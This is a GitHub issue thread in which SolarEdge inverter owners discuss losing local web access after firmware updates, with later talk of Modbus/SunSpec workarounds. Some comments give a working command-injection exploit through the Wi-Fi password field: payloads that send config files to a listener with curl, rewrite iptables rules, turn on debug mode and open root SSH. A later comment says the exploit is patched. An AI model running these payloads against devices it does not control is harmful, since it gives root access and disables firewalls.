Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Web server no longer accessible #24

Open
Todd1561 opened this issue Mar 28, 2020 · 65 comments
Open

Web server no longer accessible #24

Todd1561 opened this issue Mar 28, 2020 · 65 comments

Comments

@Todd1561
Copy link

Todd1561 commented Mar 28, 2020

For a while I’ve been using this then all of a sudden the web server disappeared and the inverter is unresponsive on port 80. Presumably, the inverter self-updated it’s firmware. Does anyone know how to reenable the web server? I know I have the correct IP. I have the HD Wave 10kw US version. No LCD screen.

@scheric
Copy link

scheric commented Mar 30, 2020

Perhaps have a look at this: #20 SE10k Internal Server Error

@Todd1561
Copy link
Author

Yeah I read through that before, thanks though. I’m not sure what the end resolution was in that thread, seems like people are still having issues at the end of it. I should have mentioned I’ve been using hardwired Ethernet the entire time, not WiFi. Also worth mentioning that I’m not getting a server error message, I just get nothing because port 80 is blocked entirely.

I can only assume that in a recent firmware SE decided to disable SetApp access over the private network or it was an accident that it was ever available. Either way, it’s unfortunate for this project. I’ll report back if I ever find a resolution but I’ll probably just go back to using the official API.

@scheric
Copy link

scheric commented Mar 30, 2020

It is a very strange problem. Some people have it others not.

My inverter has done an automatic update to: (#23 (comment))
CPU-versie 4.8.19
DSP1 versie 1.0.756
DSP2 versie 2.0.704
Versie WSA 1.4.9
SE3680 single phase with an ethernet cable.

I still have access to port 80 and I can still use this python API.

@clsgroen
Copy link

clsgroen commented Mar 30, 2020

I'm having the same issues with both my SE3600H (CPU 4.8.19) and SE4000H (CPU 4.8.28): can't access the API via port 80. The SE3600H used to work but self-updated, the SE4000H never worked because it had CPU 4.7.26 from the start (looks like these issues began after CPU 4.6.x).

@Todd1561
Copy link
Author

Todd1561 commented Apr 6, 2020

So I called SolarEdge support because near as I can tell no one that has had this problem has actually called SolarEdge. The first guy seemed very familiar with what I was asking and immediately said that interface was blocked to prevent non-installers from changing settings. That's what I was expecting. Because I had another change I wanted them to make he forwarded me to someone else in tech support. Just to be thorough I asked that guy the same question and he seemed familiar with the interface but wasn't aware of them intentionally blocking it and said it should still be accessible. He pinged a tier 2 guy and they apparently said the same. He was going to poke around and email me if he had any more information.

Sooo... Clear as mud :)

@terminet85
Copy link

terminet85 commented Apr 20, 2020

Today me too I cannot longer access to webinterface

(CPU) | 4.8.19
DSP1 1.0.751
DSP2 2.0.608
Ver: SE6000H

@cristianlivella
Copy link

cristianlivella commented Apr 20, 2020

Same problem here... I just wasted half an hour trying to restart the inverter, the router and other network stuff... It worked well until 4 hours ago, and now the web server is no longer working, chrome shows an "ERR_CONNECTION_TIMED_OUT" error.
I also tried to connect to the wifi network that generates the inverter itself, using the official application mySolarEdge, but it doesn't even work with that... in my opinion there was a problem in the software update, or there must be some other way to access. If an installer has to check or modify something how does it do it?

CPU: 4.8.19
DSP1: 1.0.751
DSP2: 2.0.608
SE6000H
(everything like @terminet85)

@Todd1561
Copy link
Author

Everyone, please see this thread: jbuehl/solaredge#124 it goes into details about what's happening here, especially the last several posts. This isn't a bug and apparently SE is intentionally blocking access to prevent non-installers from messing around. According to a commentator in that thread the only reason some people seem to be unaffected with this problem is their inverters must be running in debug mode, as that mode still allows LAN access. Getting your inverter into debug mode apparently involves SolarEdge and I don't imagine it's something they just authorize willy nilly.

In that thread I linked I detail the process to create an installer account and use the SetApp mobile phone app to connect to the inverter with full access. It was actually quite simple. This is what installers use to manage a system and make changes. This will give you full access to your inverter through the phone app, but won't restore LAN access. It doesn't seem like that's ever coming back.

@cristianlivella
Copy link

cristianlivella commented Apr 20, 2020

What nonsense... if I want to damage the inverter I hit it with a hammer, I don't use the web interface... they should at least allow read-only access, in this way damage cannot be done and we can see the updated production data, considering also that their servers often have problems and the data is not really in real time.

edit: if I was Solaredge I would be more worried that customers are creating installer accounts and trying to find workaround, than using the web interface

@Todd1561
Copy link
Author

if I was Solaredge I would be more worried that customers are creating installer accounts and trying to find workaround, than using the web interface

Ha yes, I agree. I think I even made a comment to that effect in the other thread. If security is their concern they have a lot of work to do. Because anyone with a smartphone can walk up to these inverters, scan the QR code and do whatever they want with them. For a number of reasons I'm wishing I had my inverter installed inside, this being one.

@terminet85
Copy link

According to a commentator in that thread the only reason some people seem to be unaffected with this problem is their inverters must be running in debug mode, as that mode still allows LAN access. Getting your inverter into debug mode apparently involves SolarEdge and I don't imagine it's something they just authorize willy nilly.

Do you know if installers could set it?

@Todd1561
Copy link
Author

I don't know for certain, but I suspect the encrypted file that needs to be loaded onto the inverter to enable debug mode would have to be placed by SolarEdge. I imagine an installer could request it, but I don't know what justification SE needs from you/the installer to get them to do it.

I gave up on the local API months ago when I lost access and just switched to using their official API so I haven't pushed them on getting access again. But if you want to pursue I think you're going to have to deal direct with SE and explain your situation. If you get the right engineer maybe they'll help you out.

@terminet85
Copy link

I don't know for certain, but I suspect the encrypted file that needs to be loaded onto the inverter to enable debug mode would have to be placed by SolarEdge. I imagine an installer could request it, but I don't know what justification SE needs from you/the installer to get them to do it.

I gave up on the local API months ago when I lost access and just switched to using their official API so I haven't pushed them on getting access again. But if you want to pursue I think you're going to have to deal direct with SE and explain your situation. If you get the right engineer maybe they'll help you out.

Thanks for the infos I guess I'll give up me too... Anyway I'm using home-assistant and the official API doesn't have all the features... time to coding :(

@joelhaasnoot
Copy link

I'm now running 4.8.19. When the inverter was installed, I got the JSON 500 error and left it at that. Now port 80 seems to be disabled.

HOWEVER - the SolarEdge app prompted me to download their "new app" 'mySolarEdge'. This has a menu options called 'Inverter Status' and 'Inverter Communication'. These are accessible for me within the app, as long as scan the QR code and then move the power switch to P mode momentarily. Then able to see detailed diagnostics and error logs. I need to check with a laptop, but I wonder if I can access through direct wifi. The app might also be calculating a password dynamically and there might also be a timeout on the 'Switch to P' mode.

@cristianlivella
Copy link

cristianlivella commented Apr 21, 2020

HOWEVER - the SolarEdge app prompted me to download their "new app" 'mySolarEdge'. This has a menu options called 'Inverter Status' and 'Inverter Communication'. These are accessible for me within the app, as long as scan the QR code and then move the power switch to P mode momentarily. Then able to see detailed diagnostics and error logs. I need to check with a laptop, but I wonder if I can access through direct wifi. The app might also be calculating a password dynamically and there might also be a timeout on the 'Switch to P' mode.

Interesting... I tried with mySolarEdge, but even in this way I can't see the inverter data. The inverter generates its AP, the smartphone connects, but the app still loading until an error appears. Did you try to connect to the inverter with the browser when your smartphone is connected to the inverter AP? It doesn't work on mine.
Also, I wrote to SolarEdge here in Italy and they told me I can use mySolarEdge to view the inverter data.

@terminet85
Copy link

I've added new sensors to the home-assistant solaredge (some I'm using as Export/Import SelfConsumption was missing)

@ironsm4sh
Copy link

ironsm4sh commented May 1, 2020

ALL INSTRUCTIONS BELOW ARE EXECUTED AT YOUR OWN RISK
I am running firmware 4.8.19, but it should also work on 4.8.28

Hello,
It is currently possible to open port 80 and port 8080 on the SolarEdge, this only works due to a code execution exploit that is currently in the SolarEdge's firmware.
It is important that you block the SolarEdge from netwerk access, if you don't, the ports 80 and 8080 will be blocked again next firmware update.

When you read through the SolarEdge's patchnotes, you will see the following:

Can’t connect to Wi-Fi routers with password containing the following special characters: Dollar - $, back tick - `, quote - ", or forward slash - \
Workaround: Change Wi-Fi router password to exclude these 4 characters

This means that we can execute shell scripts on the device, and it just so happens to give us full root access.
We can't get any outpur for the commands we execute, but there is a work around for that.

Using a small webserver, we can log all post requests to a console, and the SolarEdge has curl installed, so we can execute scripts, and post their commands to our webserver.
This is the webserver's code:

#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        #logging.info("  %s",post_data.decode('utf-8'))
        print("%s"%(post_data.decode('utf-8')))

        self._set_response()
        self.wfile.write("".encode('utf-8'))
        
    def log_message(self, format, *args):
            pass
    
def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Entering a wifi password with the following value will give us the files and folders on / as output in our webserver.

`ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.10:8080`

Opening port 80 and 8080

First, we want to connect a laptop to the solaredge's wifi network, this laptop will need to run the python3 webserver.
When we are connected, we want to use the SolarEdge RCE to change the firewall to open port 80 and port 8080.

We can check the current firewall rules using the following wifi password:

`curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080`

They should look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
COMMIT

We can open port 80 and port 8080 using the following wifi password:

`sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i`

They should now look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
COMMIT

When you restart the solar edge, you should find port 80 and 8080 working again.

Block the solar edge from the internet
If you don't do this, the RCE will get patched and port 80 and 8080 will be closed next firmware update.

@Todd1561
Copy link
Author

Todd1561 commented May 1, 2020

Ha wow, this is next level. Nice work on this, although giving up all future firmware updates (and presumably dashboard usage?) will probably be a non-starter for most people. It's pretty clear SE doesn't want this open and will keep doing what they can to block it.

@clsgroen
Copy link

clsgroen commented May 1, 2020

Sounds doable, on which version did you test this? And blocking the SE from the internet means you also lose SE monitoring updates (via app/monitoring portal) or would it be possible to block only specific IP's/ports to block firmare updates but maintain SE monitoring?

@ironsm4sh
Copy link

ironsm4sh commented May 1, 2020

I am running CPU version 4.8.19, but it should also work on CPU 4.8.28.

If the monitoring platform and the firmware updates originate from a different endpoint, you could potentially block one, but I am not willing to risk this at the moment, I have no interest in their proprietary monitoring platform and would not like to accidentally upgrade my firmware.

Also, enabling debug mode makes the SolarEdge enter a weird state where it will refuse to create any solar energy. I could only get the SolarEdge to leave debug mode by giving it a factory reset.
If you want to experiment with debug mode:

`sed 's/enable=false/enable=true/' /data/configs/debug_mode -i`

I came up with the idea of enabling it like this because their setup.sh in the firmware spff files contains the following code:

# Enter to debug mode on upgrade from version where debug mode not supported (< v4.6)
debugmodeupdate () {
    if [ ! -e /data/configs/debug_mode ]; then
        log "missing debug mode configurations (Maybe upgrade of an older version?) - setting default to disable"
        echo "enable=false" >> /data/configs/debug_mode
    fi
}

@nmakel
Copy link

nmakel commented May 1, 2020

Confirmed working on 4.9.30. Nice find!

@sideeffect42
Copy link

sideeffect42 commented May 5, 2020

Today I tried to connect the inverter to my Wi-Fi network. It didn't work…
My password is:

`sed -i -e "s/^DROPBEAR_ARGS='/&-p 22 /" /data/configs/dropbear`

Funnily I could SSH into the inverter using root:a after a reboot.

@mqu
Copy link

mqu commented Oct 13, 2021

I have a fresh installation ; Web server has been running for only one day ; later in the morning, no more Web server. I suppose a firmware upgrade occurred in the night.

@AndreVanKammen
Copy link

Hello,

I'm also getting a SolarEdge Should I block it's internet access to keep the interface? Or should I ask my installer about something to keep the inteface running?

@sideeffect42
Copy link

sideeffect42 commented Nov 9, 2021

@AndreVanKammen I did not have any success with the installer. Many will probably not even understand what you are talking about, but even if they do I don't know how much power they have to control the debug flag on their customers' inverters.

If you are lucky enough to get an inverter with the debug mode enabled from the factory, it's not just important to not let the inverter connect to the internet, but even more so to not use SetApp to do the initial setup because SetApp will upgrade the firmware without asking.

In general: SetApp is not some magic piece, but just a wrapper around the website you get at 172.16.0.1 when you connect to the Wi-Fi the inverter opens when you put it in pairing mode.
…with the additional "feature" of upgrading your firmware even when you don't want it to.

@cristianlivella
Copy link

cristianlivella commented Apr 4, 2022

Has it ever happened to any of you that you can't connect to the web server in even if you connect directly with WiFi?

I can see the network SEDG-XXXX, I can connect to it, but then If i try to connect to 172.16.0.1 using the web browser, the connection timeout, like when I try the connection via LAN.

@ironsm4sh
Copy link

I can see the network SEDG-XXXX, I can connect to it, but then If i try to connect to 172.16.0.1 using the web browser, the connection timeout, like when I try the connection via LAN.

Are you sure that you are connecting to port 80 using plain HTTP, not HTTPS? You could also try port 8080 which should also display a webpage.

@cristianlivella
Copy link

Are you sure that you are connecting to port 80 using plain HTTP, not HTTPS? You could also try port 8080 which should also display a webpage.

Yes, I'm using HTTP, and neither port works.

Anyway, I managed to solve it by rebooting the inverter, but I can only connect to the web server once.

The next time I try (after a few minutes, so when the inverter is out of AP mode and I enable it again) I still have the same timeout problem.

Could it be a problem with conflict between networks? My home LAN is 172.16.0.0/24. I don't have any devices with IP 172.16.0.X though, so there shouldn't be any IP conflicts.

@slyoldfox
Copy link

@ironsm4sh

I just got this inverter and starting playing around with it (since it's not setup completely yet). I was probably too late in getting it off the net completely. Or it came with a more recent firmware, so I can't use the hack.

I did find something interesting. I cut off access to Google DNS (8.8.8.8 and 8.8.4.4) and redirected *.solaredge.com and semgmt.karambasecurity.com to a local device.

When tcpdump'ing you will see the SERVFAIL replies from Google DNS on those but it still falls back to the local DNS provided by DHCP to do it's querying.

The find is that after cutting off power and restoring power, after several minutes a new service appears shortly on port 8181.
It's a HTTP server that serves 404s.

sudo nmap -P0 -O 192.168.0.150
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-08-29 12:49 CEST
Nmap scan report for 192.168.0.150
Host is up (0.0016s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE
80/tcp   filtered http
8080/tcp filtered http-proxy
8181/tcp open     intermapper
MAC Address: 84:D6:C5:18:E1:91 (SolarEdge Technologies)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

image

The Server header reveal SE Comm Platform, is that familiar to anyone?

The service disappears several minutes later.

@tobylorenz
Copy link

My experience is that the inverter comes pre-configured in Debug mode, which means the firewall is disabled and you can access the http interface (web set app) over standard Ethernet connection. After registration, SW upgrade, etc, firewall becomes active and direct http access is filtered. However you can connect to the WiFi interface and here http is open. The SSID and password is encoded in the QR code labeled on the inverter. The SolarEdge set app is more or less just a browser that does exactly that: Connect to the WiFi and show the internal web page. For me it makes sense that the configuration interface is not exposed per default to your network, but via a special (WiFi) connection. In my case I just plugged a WiFi USB dongle into my server and can always access the web server, and more specifically the protobuf interfaces to monitor the status regularly. There is also the Modbus interface via RS485 or Ethernet/IP that can be enabled, for continuous monitoring.

@rotilho
Copy link

rotilho commented Jan 17, 2023

I have some positive news to share with you regarding local access. After several emails exchanged with support, I was informed that they have implemented SunSpec and are able to enable it on port 1502. Following the installation of https://github.com/CJNE/ha-sunspec, I am now able to access it locally.

It's a bummer I can't enable by myself but now in any case I don't depend on SolarEdge servers anymore :)

@schniepp
Copy link

Wow, that's exciting news! Does that mean we have to ask SolarEdge to enable it manually? Or do they need to push firmware updates to get the SunSpec implementation?

@mp3guy
Copy link

mp3guy commented Jan 17, 2023

How is it different to the existing MODBUS data already exposed?

@kingfisher63
Copy link

SolarEdge has supported SunSpec via Modbus/TCP over Ethernet since firmware 3.1810, though Modbus/TCP over WiFi has been declared supported only recently (in 4.16.x, IIRC). You have to enable Modbus manually. Unfortunately per panel (optimizer) SunSpec data is still not available via Modbus in the most recent firmware (4.17.x) even though basic provisions for this have been present in the firmware for several years.

SolarEdge has an application note (SunSpec Logging in SolarEdge Inverters, current version 2.5) that describes some aspects of their implementation. Please use this document with caution as it is both incomplete and broken:

  • recently added Distributed Energy Resources (DER) models are missing
  • the document uses fixed Modbus register numbers (the only correct way to discover available models is through enumeration)

@rotilho
Copy link

rotilho commented Jan 17, 2023

Wow, that's exciting news! Does that mean we have to ask SolarEdge to enable it manually? Or do they need to push firmware updates to get the SunSpec implementation?

I think the only way is through their support. It's not enabled by default and the docs they shared with me just mention how enable it as a installer.

@cristianlivella
Copy link

cristianlivella commented Jan 17, 2023

I think the only way is through their support. It's not enabled by default and the docs they shared with me just mention how enable it as a installer.

Did you wrote to a specific email address, or you just used the contact form for your country, on their website?

And then they enabled it remotely? Because I don't know in which strange state my inverter is, but the web server doesn't work anymore even following the procedure for the installer, so I couldn't enable it that way.

@mqu
Copy link

mqu commented Jan 18, 2023

@mqu
Copy link

mqu commented Jan 18, 2023

you can verify port is open with this command ; 1502 is opened !!!

marc@nas:~$ nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 192.168.0.121
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-18 08:26 CET
Nmap scan report for solar (192.168.0.121)
Host is up (0.0054s latency).

PORT    STATE  SERVICE
502/tcp closed mbap

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
marc@nas:~$ nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 1502 192.168.0.121
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-18 08:26 CET
Nmap scan report for solar (192.168.0.121)
Host is up (0.0057s latency).

PORT     STATE SERVICE
1502/tcp open  shivadiscovery

nmap non agressive discovery did not show port open or may be support open port after my last request.

marc@gigabyte:~$ nmap 192.168.0.121
...
PORT STATE SERVICE
80/tcp filtered http
8080/tcp filtered http-proxy

best regards, Marc.

edit: can't read modbus register with this command : modbus 192.168.0.121:1502 40000

@mqu
Copy link

mqu commented Jan 18, 2023

It's OK for me. Having registers (4000,40001) readable on wireless interface and giving me : (0x5375:0x6E53)

very nice !!!

#!/usr/bin/ruby

# doc: https://github.com/rmodbus/rmodbus

require 'pp'
require 'rmodbus'

host='solar' # put here hostname or IP of your solaredge device
ModBus::TCPClient.new(host, 1502) do |cl|
	cl.with_slave(1) do |slave|
		# adress 40000:40001: SunS (0x5375:0x6E53).
		id=slave.holding_registers[40000..40001] # [21365, 28243]
		puts sprintf("%X:%X", id[0], id[1])
	end
end

@mqu
Copy link

mqu commented Jan 18, 2023

this project is working perfectly for me: https://github.com/nmakel/solaredge_modbus

@cristianlivella
Copy link

In my case, nmap find the port 1502 open, but with solaredge_modbuse I cannot get any data.

I'll try to contact Solaredge to check, because I cannot follow the instructions here as during the step 3 I cannot reach the server (I receive the classic timeout error).

I'm not sure why, probably something to do with the fact that my LAN network is 172.16.0.0.

@terminet85
Copy link

I guess you need the set app application in order to enable this feature (if already released in the firmware)

@mihailescu2m
Copy link

@kingfisher63 afaik one year ago they disabled tcp modbus over wifi. Is it back on?

@kingfisher63
Copy link

As far as I know SolarEdge has re-enabled Modbus/TCP over WiFi in a recent firmware release (I think it was 4.16.x) and has now declared this supported (for residential inverters only). Unfortunately SolarEdge does not maintain a comprehensive public release notes archive, so this is from memory.

You can easily test it by enabling Modbus/TCP (e.g. using the method described here (as pointed out by @mqu)), wait until the inverter built-in WiFi access point has timed out and then try to connect to port 1502 on the inverter IP-address. If you get a connection, you are in business.

@cristianlivella
Copy link

I got in touch with the Solaredge support, they said they enabled Modbus TCP on my inverter, but with the solaredge_modbus example script I cannot get any data.

{
    "meters": {},
    "batteries": {
        "Battery1": {},
        "Battery2": {}
    }
}

The inverter is connected with Ethernet. I'm missing something?

@ceszenyi
Copy link

ALL INSTRUCTIONS BELOW ARE EXECUTED AT YOUR OWN RISK I am running firmware 4.8.19, but it should also work on 4.8.28

Hello, It is currently possible to open port 80 and port 8080 on the SolarEdge, this only works due to a code execution exploit that is currently in the SolarEdge's firmware. It is important that you block the SolarEdge from netwerk access, if you don't, the ports 80 and 8080 will be blocked again next firmware update.

When you read through the SolarEdge's patchnotes, you will see the following:

Can’t connect to Wi-Fi routers with password containing the following special characters: Dollar - $, back tick - `, quote - ", or forward slash - \
Workaround: Change Wi-Fi router password to exclude these 4 characters

This means that we can execute shell scripts on the device, and it just so happens to give us full root access. We can't get any outpur for the commands we execute, but there is a work around for that.

Using a small webserver, we can log all post requests to a console, and the SolarEdge has curl installed, so we can execute scripts, and post their commands to our webserver. This is the webserver's code:

#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        #logging.info("  %s",post_data.decode('utf-8'))
        print("%s"%(post_data.decode('utf-8')))

        self._set_response()
        self.wfile.write("".encode('utf-8'))
        
    def log_message(self, format, *args):
            pass
    
def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Entering a wifi password with the following value will give us the files and folders on / as output in our webserver.

`ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.10:8080`

Opening port 80 and 8080

First, we want to connect a laptop to the solaredge's wifi network, this laptop will need to run the python3 webserver. When we are connected, we want to use the SolarEdge RCE to change the firewall to open port 80 and port 8080.

We can check the current firewall rules using the following wifi password:

`curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080`

They should look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
COMMIT

We can open port 80 and port 8080 using the following wifi password:

`sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i`

They should now look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
COMMIT

When you restart the solar edge, you should find port 80 and 8080 working again.

Block the solar edge from the internet If you don't do this, the RCE will get patched and port 80 and 8080 will be closed next firmware update.

Hello ironsm4sh, This is brilliant, however can I get a little bit of detailed steps? Web server is running in one window
ython3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
127.0.0.1 - - [23/Mar/2023 22:23:46] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [23/Mar/2023 22:23:46] code 404, message File not found
127.0.0.1 - - [23/Mar/2023 22:23:46] "GET /favicon.ico HTTP/1.1" 404

script is running and wait with
if if function>

I run the command in the third window :
"ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.1:8080`
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1801 100 178 100 1623 388 3543 --:--:-- --:--:-- --:--:-- 3932
zsh: command not found: <!DOCTYPE
stop with DOCTYPE error

curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080
Warning: Couldn't read data from file "/data/configs/iptables.conf", this
Warning: makes an empty POST.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 497 100 497 0 0 175k 0 --:--:-- --:--:-- --:--:-- 242k
zsh: command not found: <!DOCTYPE

Any idea? What did I mist? Thank you for your help in forward

@ironsm4sh
Copy link

The exploit has been fixed by SolarEdge, you are probably running a patched firmware version.

@ceszenyi
Copy link

Thank you to back to me. So you can confirm the SolarEdge is locked down this whole and in this case your method does  not work anymore?

I had some typo so I will try again:
python3 -m http.server 8080 should be my IP not 0.0.0.0
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and my Solaredge IP is 172.16.0.1 not 172.16.0.10

@ironsm4sh
Copy link

The method does not work anymore. You are also fundamentally misunderstanding how it works.

@UngluedChalice
Copy link

Anyone have any luck getting Solar Edge to enable local access? When I connect with their app, it just shows me cellular connectivity and no option to input wifi credentials. I am able to connect to it's wifi network and when I navigate in the browser to http://172.16.0.1/ I get this

Screenshot 2024-04-22 at 8 02 04 PM

and port 8080 gave me this

Screenshot 2024-04-22 at 7 50 35 PM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests